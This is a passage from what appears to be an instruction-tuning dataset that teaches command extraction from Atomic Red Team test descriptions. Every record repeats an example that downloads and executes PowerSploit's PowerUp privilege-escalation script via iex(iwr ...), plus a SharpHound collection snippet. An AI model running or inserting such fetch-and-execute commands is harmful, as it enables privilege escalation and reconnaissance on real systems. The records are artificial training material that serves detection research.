[\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test reads real-time system log file and writes empty string to it, thus clearing the log file without tampering with the logging process\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\\System\\CurrentControlSet\\Control\\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor\ncan abuse by creating this registry key and providing a malicious application to be executed during successful boot\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A list of commands known to be performed by Qakbot for recon purposes",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe\n\nUpon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Show if a user account has ever logged in remotely\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test will create a new value under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run to launch calc.exe on boot. \n*Requires reboot\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command.\nPrerequisites:\n  - A file server running Windows Server 2022 Datacenter: Azure Edition\n  - A Windows 11 computer\n  - Windows Admin Center\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes the code specified within a XSL script tag during XSL transformation using a local payload. \nRequires download of MSXSL. No longer available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n",
    "output": "{\"command_list\": []}"
  },
  {
